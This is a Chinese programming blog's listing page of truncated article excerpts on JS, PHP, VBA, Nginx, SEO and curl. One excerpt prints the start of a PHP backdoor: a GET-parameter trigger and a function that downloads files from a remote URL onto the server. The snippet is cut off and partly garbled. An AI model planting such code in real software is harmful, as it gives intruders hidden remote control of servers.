• 最新文章
  • JS笔记
  • CSS笔记
  • PHP笔记
  • Vue学习
  • Docker
  • Nginx
  • Swoole
  • Mysql
  • Golang
  • Linux笔记
  • Redis

JS浏览器环境下各种实用API记录

常见的不做记录,在这记录自己以前没见过的。 Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。 它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。 const clipboardObj = navigator.clipboard; /*返回 Clipboar
JS浏览器环境下各种实用API记录

Ajax文件上传时:Formdata、File、Blob的关系

“Formdata”接口提供了一种表示表单数据的键值对 key/value 的构造方式,并且可以轻松的将数据通过XMLHttpRequest.send() 方法发送出去。 实现了 FormData 接口的对象可以直接在for...of(遍历属性值,for...in 则是遍历属性名)结构中使用,而不需要调用entries()返回可迭代对象(iterator) : for (var p of myFo
Ajax文件上传时:Formdata、File、Blob的关系

Chrome浏览器禁用JS、Devtools工具使用的方法记录

1.  为什么要禁用? 有些网站实在是不友好,禁止F12,禁止右键。。。等等很多情况,我们只能禁用JS了,任它JS再厉害,也只能乖乖趴下。 设置-> 高级->隐私设置和安全性->网站设置->Javascript,添加禁用网址即可。 本来想自己写的,发现了一篇很好的文章,那就这样吧 大门:https://github.com/CompileYouth/front-end-st
Chrome浏览器禁用JS、Devtools工具使用的方法记录

腾讯云云函数开发经验总结(好气)

今天尝试了腾讯云的云函数开发,过程是让人抓狂的,结果是美好的,踩了无数的坑。 首先说明一下,我用的PHP,主要是写一个通用型的腾讯云短信发送接口和通用性的钉钉Webhook推送接口。 什么是通用型:菜鸡本人(我)说的是传递token和内容之类的就直接能使用,无需关心中间的实现的特点。 也是踩的最深的,云函数上面的PHP标明的是PHP7,PHP7版本可多了。我常用PHP7.4, 麻溜的写好代码,本地
腾讯云云函数开发经验总结(好气)

POST 提交数据的时候参数有哪些类型?

1. HTTP 协议是以 ASCII 码 传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。 2. 协议规定 POST 提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须 使用什么编码方式 。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的 HTTP 请求满足上面的格式就可以。 3. 数据发送出
POST 提交数据的时候参数有哪些类型?

Vba实现彻底禁止表格内容复制,表格到期自动删除

 直接选择单元格进行复制。  复制表格到新的或者空白的工作簿 另存为其他格式表格 将所有表格的Visible属性设置为完全不可见,编写表格打开事件代码,打开时自动显示表格。不运行Vba时只显示空白表格。 Vba工程资源设置密码。  退出表格时将所有数据表改为完全不可见。 打开时调用工作簿结构保护,退出时解锁隐藏所有表。 编写表格选择事件,让只有指定范围的单元格才能被选中。 编写定时任务,以1秒一下
Vba实现彻底禁止表格内容复制,表格到期自动删除

Nginx使用经验总结,好记性不比烂笔头(键盘)

 配置文件中以#开始的行,或者是前面有若干空格或者 TAB,然后再跟#的行,都被认为是注释 在 nginx.conf 中,包含若干配置项。每个配置项由配置指令和指令参数 2 个部分构成。指令参数也就是配置指令对应的配置值。  配置指令是一个字符串,可以用单引号或者双引号括起来,也可以不括。但是如果配置指令包含空格,一定要引起来。 指令的参数使用一个或者多个空格或者 TAB 字符与指令分开。指令的参
Nginx使用经验总结,好记性不比烂笔头(键盘)

SEO优化经验总结,我怕忘记的一些东西

1.  TDK很重要,每个页面只能有一个H1标签,选对了关键词SEO就已经成功了一半。 2. 百度关键词搜索虽然是分词的(也就是搜索一个次词的时候匹配结果不一定是连词,也可能是句子中的词组成的),但是连词比分词的友好性更强。 3. 文章里的关键词最好都带上内链。 4. 不带WWW的主域名和WWW的二级域名,作为同一个网站的时候可以在两个页面的标题上稍微处理一下(就是可以弄成不一样的),根据以往的经
SEO优化经验总结,我怕忘记的一些东西

VBA编写笔记:常用的对象和方法

如果启用屏幕更新,则该属性值为 True。Boolean 类型,可读写。 关闭屏幕更新可加快宏的执行速度。这样将看不到宏的执行过程,但宏的执行速度加快了。 当宏结束运行后,请记住将 ScreenUpdating 属性设置回 True。 返回一个 FileDialog 对象,该对象表示文件对话框的实例 返回一个 String,提供有关变量的信息。 TypeName(varname),必要的 varn
VBA编写笔记:常用的对象和方法

当鼠标按下时拖动元素,简单的JS实现

监听需要移动元素的键盘按下、松开事件和文档对象的鼠标移动事件, 通过一个布尔值作为是否移动的标志,按下时为TRUE,代表跟随移动,鼠标松开为FALSE,代表不跟随移动,鼠标移动时改变元素偏移量。 <!DOCTYPE html> <html lang=\"en\"> <head> <meta charset=\"UTF-8\"> <meta name=\"
当鼠标按下时拖动元素,简单的JS实现

编程日记:PHP实用函数记录(二)

匿名函数(Anonymous functions),也叫闭包函数(closures),允许 临时创建一个没有指定名称的函数。最经常用作回调函数 callable参数的值。 闭包的概念等同于JS里的闭包。可在函数内进行定义赋值 匿名函数目前是通过 Closure 类来实现的。闭包函数也可以作为变量的值来使用。PHP 会自动把此种表达式转换成内置类 Closure 的对象实例。把一个 closure
编程日记:PHP实用函数记录(二)

PHP魔术方法一览以及使用方法汇总

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。魔术方法很多还是成对出现的,以下列出目前PHP中所有的模式方法。 __constuct构建对象的时被调用; __destruct明确销毁对象或脚本结束时被调用; __set当给不可访问或不存在属性赋
PHP魔术方法一览以及使用方法汇总

一段简单的PHP后门代码,什么都能干

这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET==\"ok\"){ echo \'OK\'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
一段简单的PHP后门代码,什么都能干

编程日记:PHP实用函数记录

sleep(sec) 函数延迟执行当前脚本若干秒。 usleep(micro) — 以指定的微秒数延迟执行。 time_nanosleep(sec,na) — 延缓执行若干秒和纳秒。 time_sleep_until(timestamp) — 使脚本睡眠到指定的时间为止。 set_time_limit(int $seconds) — 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个
编程日记:PHP实用函数记录

实战记录—PHP使用curl出错时输出错误信息

踩过的坑,实在不想再踩了,记录记录。 curl_exec($ch);//执行curl if (curl_errno($ch)) { echo \'Curl error: \' . curl_error($ch);//出错输出错误 } curl_close($ch);//关闭curl 同理,像正则,Json,数据库这些出错时基本都会有提供有帮助的错误信息 CURL状态码列表 状态码 状态原因 解释 0
实战记录—PHP使用curl出错时输出错误信息